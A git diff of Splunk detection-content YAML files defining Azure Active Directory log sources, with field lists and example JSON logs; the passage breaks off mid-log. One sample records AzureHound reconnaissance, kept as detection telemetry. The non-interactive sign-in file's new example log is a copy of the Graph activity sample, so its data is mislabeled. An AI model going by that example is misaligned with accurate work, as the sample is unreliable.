b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml index 00f450cc02..f31f6ffd1b 100644 --- a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml +++ b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml @@ -1,8 +1,8 @@ name: Azure Active Directory MicrosoftGraphActivityLogs id: 63ff93ba-2bbb-4542-8773-239bf5266367 -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Active Directory MicrosoftGraphActivityLogs source: Azure AD @@ -14,4 +14,78 @@ supported_TA: version: 6.3.3 fields: - _time -example_log: '{"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"}' + - callerIpAddress + - category + - command + - correlationId + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_type + - durationMs + - host + - index + - level + - linecount + - location + - object_id + - operationName + - operationVersion + - path_from_resourceId + - properties.__UDI_RequiredFields_EventTime + - properties.__UDI_RequiredFields_RegionScope + - properties.__UDI_RequiredFields_TenantId + - properties.__UDI_RequiredFields_UniqueId + - properties.apiVersion + - properties.appId + - properties.C_Iat + - properties.C_Idtyp + - properties.clientAuthMethod + - properties.clientRequestId + - properties.durationMs + - properties.identityProvider + - properties.ipAddress + - properties.location + - properties.operationId + - properties.requestId + - properties.requestMethod + - properties.requestUri + - properties.responseSizeBytes + - properties.responseStatusCode + - properties.roles + - properties.scopes + - properties.signInActivityId + - properties.tenantId + - properties.timeGenerated + - properties.tokenIssuedAt + - properties.userAgent + - properties.userId + - properties.UserPrincipalObjectID + - properties.wids + - punct + - resourceId + - result + - result_id + - resultSignature + - signature + - source + - sourcetype + - splunk_server + - src + - src_ip + - status + - tenantId + - time + - timeendpos + - timestartpos + - user_id + - vendor_account + - vendor_product +example_log: | + {"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"} diff --git a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml index d945db01a4..bec8a1a23a 100644 --- a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml +++ b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml @@ -1,8 +1,8 @@ name: Azure Active Directory NonInteractiveUserSignInLogs id: 11fe8a43-164d-47e4-b542-afc2f242068b -version: 2 +version: 3 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Azure Active Directory NonInteractiveUserSignInLogs source: Azure AD @@ -13,17 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/3110 version: 6.3.3 fields: - - action - - additional_details - - app - - authentication_method - - authentication_service + - _time - callerIpAddress - category - - change_type - command - correlationId - - dataset_name - date_hour - date_mday - date_minute @@ -32,37 +26,26 @@ fields: - date_wday - date_year - date_zone - - description - dest - dest_type - - duration - durationMs - - dvc - - enabled - - eventtype - host - - id - index - level - linecount - location - - object - - object_attrs - - object_category - object_id - - object_path - operationName - operationVersion - path_from_resourceId - - properties.C_Iat - - properties.C_Idtyp - - properties.UserPrincipalObjectID - properties.__UDI_RequiredFields_EventTime - properties.__UDI_RequiredFields_RegionScope - properties.__UDI_RequiredFields_TenantId - properties.__UDI_RequiredFields_UniqueId - properties.apiVersion - properties.appId + - properties.C_Iat + - properties.C_Idtyp - properties.clientAuthMethod - properties.clientRequestId - properties.durationMs @@ -75,7 +58,6 @@ fields: - properties.requestUri - properties.responseSizeBytes - properties.responseStatusCode - - properties.resultReason - properties.roles - properties.scopes - properties.signInActivityId @@ -84,54 +66,26 @@ fields: - properties.tokenIssuedAt - properties.userAgent - properties.userId + - properties.UserPrincipalObjectID - properties.wids - punct - - reason - resourceId - - response_time - result - - resultSignature - result_id - - severity + - resultSignature - signature - - signature_id - - signinDateTime - source - sourcetype - splunk_server - - splunk_server_group - src - src_ip - - src_user - - src_user_name - - src_user_type - status - - tag - - tag::action - - tag::app - - tag::eventtype - - tag::object_category - tenantId - time - timeendpos - timestartpos - - user - - user_agent - user_id - - user_name - - user_role - - user_type - vendor_account - vendor_product - - vendor_region - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time -example_log: '{"time": "2023-01-12T19:22:14.5285742Z", "resourceId": "/tenants/95d19bda-09de-4d93-b7ae-acecd1e68186/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "NonInteractiveUserSignInLogs", "tenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "resultType": "0", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "34.1.3.194", "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "identity": "User30", "Level": 4, "location": "US", "properties": {"id": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "createdDateTime": "2023-01-12T19:22:14.5285742+00:00", "userDisplayName": "User30", "userPrincipalName": "user30@splunkresearch.com", "userId": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "appId": "4765445b-32c6-49b0-83e6-1d93765276ca", "appDisplayName": "OfficeHome", "ipAddress": "34.1.3.194", "status": {"errorCode": 0, "additionalDetails": "MFA requirement satisfied by claim in the token"}, "clientAppUsed": "Browser", "deviceDetail": {"deviceId": "", "operatingSystem": "Windows", "browser": "Rich Client 4.43.0.0"}, "location": {"city": "Boardman", "state": "Oregon", "countryOrRegion": "US", "geoCoordinates": {"latitude": 45.73722839355469, "longitude": -119.81143188476562}}, "mfaDetail": {}, "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [{"id": "SecurityDefaults", "displayName": "Security Defaults", "enforcedGrantControls": [], "enforcedSessionControls": [], "result": "success", "conditionsSatisfied": 3, "conditionsNotSatisfied": 0}], "authenticationContextClassReferences": [], "originalRequestId": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "isInteractive": false, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Oauth Scope Info", "value": "[\"OfficeHome.All\"]"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 192, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "OfficeHome", "resourceId": "4765445b-32c6-49b0-83e6-1d93765276ca", "resourceTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "homeTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "authenticationDetails": [{"authenticationStepDateTime": "2023-01-12T19:22:14.5285742+00:00", "authenticationMethod": "Previously satisfied", "succeeded": true, "authenticationStepResultDetail": "MFA requirement satisfied by claim in the token", "authenticationStepRequirement": "Primary authentication"}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "authenticationRequirement": "multiFactorAuthentication", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 16509, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "-_WUD4M1Rkyb-gOQwZiIAA", "authenticationStrengths": [], "incomingTokenType": "primaryRefreshToken", "authenticationProtocol": "none", "appServicePrincipalId": null, "resourceServicePrincipalId": null, "rngcStatus": 0}}' +example_log: | + {"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"} diff --git a/data_sources/azure_active_directory_reset_password_(by_admin).yml b/data_sources/azure_active_directory_reset_password_(by_admin).yml index 5290f93d7f..e66f2043c8 100644 --- a/data_sources/azure_active_directory_reset_password_(by_admin).yml +++ b/data_sources/azure_active_directory_reset_password_(by_admin).yml @@ -1,8 +1,8 @@ name: Azure Active Directory Reset password (by admin) id: dcd0e4dc-68f8-4b77-a66f-89c57b3afa6b -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an admin resets a user's password in Azure Active Directory. mitre_components: @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -59,19 +76,36 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:55.0648789Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Reset password (by admin)", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "resultDescription": "None", "durationMs": 0, "callerIpAddress": "40.81.4.144", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "Level": 4, "properties": {"id": "SSPR_724ff6ae-0f36-4f2f-a20f-f043e0c73006_P1CQE_8605821", "category": "UserManagement", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "result": "success", "resultReason": "None", "activityDisplayName": "Reset password (by admin)", "activityDateTime": "2023-07-24T14:28:55.0648789+00:00", "loggedByService": "Self-service Password Management", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "40.81.4.144", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": "test", "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "OnPremisesAgent", "value": "None"}]}}' +example_log: | + {"time": "2023-07-24T14:28:55.0648789Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Reset password (by admin)", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "resultDescription": "None", "durationMs": 0, "callerIpAddress": "40.81.4.144", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "Level": 4, "properties": {"id": "SSPR_724ff6ae-0f36-4f2f-a20f-f043e0c73006_P1CQE_8605821", "category": "UserManagement", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "result": "success", "resultReason": "None", "activityDisplayName": "Reset password (by admin)", "activityDateTime": "2023-07-24T14:28:55.0648789+00:00", "loggedByService": "Self-service Password Management", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "40.81.4.144", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": "test", "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "OnPremisesAgent", "value": "None"}]}} diff --git a/data_sources/azure_active_directory_set_domain_authentication.yml b/data_sources/azure_active_directory_set_domain_authentication.yml index 8e31d2ba70..93f1671ec1 100644 --- a/data_sources/azure_active_directory_set_domain_authentication.yml +++ b/data_sources/azure_active_directory_set_domain_authentication.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Set domain authentication id: e7bcdab9-908c-40ab-ba38-5db54fa87750 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the authentication method for a domain in Azure Active Directory is set or modified. mitre_components: @@ -19,9 +19,12 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - command - correlationId - date_hour - date_mday @@ -31,12 +34,21 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object_attrs + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -60,18 +72,34 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-26T13:44:59.0372448Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Set domain authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "Level": 4, "properties": {"id": "Directory_57e60ecc-17b8-4ab5-815e-d538e1ca32a4_XDHHZ_434456733", "category": "DirectoryManagement", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:44:59.0372448+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}}' +example_log: | + {"time": "2023-07-26T13:44:59.0372448Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Set domain authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "Level": 4, "properties": {"id": "Directory_57e60ecc-17b8-4ab5-815e-d538e1ca32a4_XDHHZ_434456733", "category": "DirectoryManagement", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:44:59.0372448+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}} diff --git a/data_sources/azure_active_directory_sign_in_activity.yml b/data_sources/azure_active_directory_sign_in_activity.yml index 9512febc42..ffe3738006 100644 --- a/data_sources/azure_active_directory_sign_in_activity.yml +++ b/data_sources/azure_active_directory_sign_in_activity.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Sign-in activity id: f9ed0a3a-9e20-4198-a035-d0a29593fbe0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user attempts to sign into Azure Active Directory, capturing authentication details and outcomes. mitre_components: @@ -19,10 +19,15 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - app + - authentication_method + - authentication_service - callerIpAddress - category + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,25 +36,33 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type + - duration - durationMs + - eventtype - host + - id - identity - index + - Level - linecount - location + - object_id - operationName - operationVersion + - path_from_resourceId - properties.alternateSignInName - properties.appDisplayName - properties.appId - properties.appServicePrincipalId - - properties.authenticationDetails{}.RequestSequence - - properties.authenticationDetails{}.StatusSequence - properties.authenticationDetails{}.authenticationMethod - properties.authenticationDetails{}.authenticationMethodDetail - properties.authenticationDetails{}.authenticationStepDateTime - properties.authenticationDetails{}.authenticationStepRequirement - properties.authenticationDetails{}.authenticationStepResultDetail + - properties.authenticationDetails{}.RequestSequence + - properties.authenticationDetails{}.StatusSequence - properties.authenticationDetails{}.succeeded - properties.authenticationProcessingDetails{}.key - properties.authenticationProcessingDetails{}.value @@ -64,6 +77,7 @@ fields: - properties.correlationId - properties.createdDateTime - properties.crossTenantAccessType + - properties.deviceDetail.browser - properties.deviceDetail.deviceId - properties.deviceDetail.operatingSystem - properties.flaggedForReview @@ -78,6 +92,7 @@ fields: - properties.location.geoCoordinates.latitude - properties.location.geoCoordinates.longitude - properties.location.state + - properties.mfaDetail.authMethod - properties.originalRequestId - properties.originalTransferMethod - properties.processingTimeInMilliseconds @@ -107,21 +122,40 @@ fields: - properties.userPrincipalName - properties.userType - punct + - reason - resourceId + - response_time + - result + - result_id - resultDescription - resultSignature - resultType + - signature + - signinDateTime - source - sourcetype - splunk_server + - src + - src_ip + - status + - tag + - tag::action + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_id + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-24T20:13:31.4449614Z", "resourceId": "/tenants/887c9144-28b8-431b-885b-764fdeefcf62/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "SignInLogs", "tenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "resultType": "50076", "resultSignature": "None", "resultDescription": "Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access the resource.", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "1f577997-0710-4bd4-848e-5854f748f7dc", "identity": "user15", "Level": 4, "location": "US", "properties": {"id": "22608a25-1d9b-44b5-b0f2-cb94f06b2d00", "createdDateTime": "2023-10-24T20:01:11.9490387+00:00", "userDisplayName": "user15", "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "userId": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "appId": "1b730954-1685-4b74-9bfd-dac224a7b894", "appDisplayName": "Azure Active Directory PowerShell", "ipAddress": "1.2.3.4", "status": {"errorCode": 50076, "failureReason": "Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access the resource.", "additionalDetails": "MFA required in Azure AD"}, "clientAppUsed": "Mobile Apps and Desktop clients", "userAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428", "deviceDetail": {"deviceId": "", "operatingSystem": "Windows"}, "location": {"city": "Rochester", "state": "New York", "countryOrRegion": "US", "geoCoordinates": {"latitude": 20.756160123483984, "longitude": -73.99697875976562}}, "mfaDetail": {}, "correlationId": "1f577997-0710-4bd4-848e-5854f748f7dc", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [], "authenticationContextClassReferences": [], "originalRequestId": "22608a25-1d9b-44b5-b0f2-cb94f06b2d00", "isInteractive": true, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 72, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Windows Azure Active Directory", "resourceId": "00000002-0000-0000-c000-000000000000", "resourceTenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "homeTenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "tenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "authenticationDetails": [{"authenticationStepDateTime": "2023-10-24T20:01:11.9490387+00:00", "authenticationMethod": "Password", "authenticationMethodDetail": "Password in the cloud", "succeeded": true, "authenticationStepResultDetail": "Correct password", "authenticationStepRequirement": "Primary authentication", "StatusSequence": 0, "RequestSequence": 1}, {"authenticationStepDateTime": "2023-10-24T20:01:11.9490387+00:00", "succeeded": false, "authenticationStepResultDetail": "MFA required in Azure AD", "authenticationStepRequirement": "Primary authentication"}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "sessionLifetimePolicies": [], "authenticationRequirement": "multiFactorAuthentication", "alternateSignInName": "user15@splunkresearch.onmicrosoft.com", "signInIdentifier": "user15@splunkresearch.onmicrosoft.com", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 12271, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "JYpgIpsdtUSw8suU8GstAA", "authenticationStrengths": [], "incomingTokenType": "none", "authenticationProtocol": "ropc", "appServicePrincipalId": null, "resourceServicePrincipalId": "56ad242f-e13b-47fc-8de8-19e3bf6f6575", "rngcStatus": 0, "signInTokenProtectionStatus": "none", "originalTransferMethod": "none"}}' +example_log: | + {"time": "2023-10-30T15:45:23.4912263Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "SignInLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultType": "50140", "resultSignature": "None", "resultDescription": "This error occurred due to 'Keep me signed in' interrupt when the user was signing-in.", "durationMs": 0, "callerIpAddress": "120.1.121.35", "correlationId": "3fa4b922-8482-fadf-ef18-4296af064abb", "identity": "user15", "Level": 4, "location": "US", "properties": {"id": "a2bee7fa-c0ef-4108-914b-1bc731a05700", "createdDateTime": "2023-10-30T15:41:14.534616+00:00", "userDisplayName": "user15", "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "userId": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "appId": "00000002-0000-0ff1-ce00-000000000000", "appDisplayName": "Office 365 Exchange Online", "ipAddress": "120.1.121.35", "status": {"errorCode": 50140, "failureReason": "This error occurred due to 'Keep me 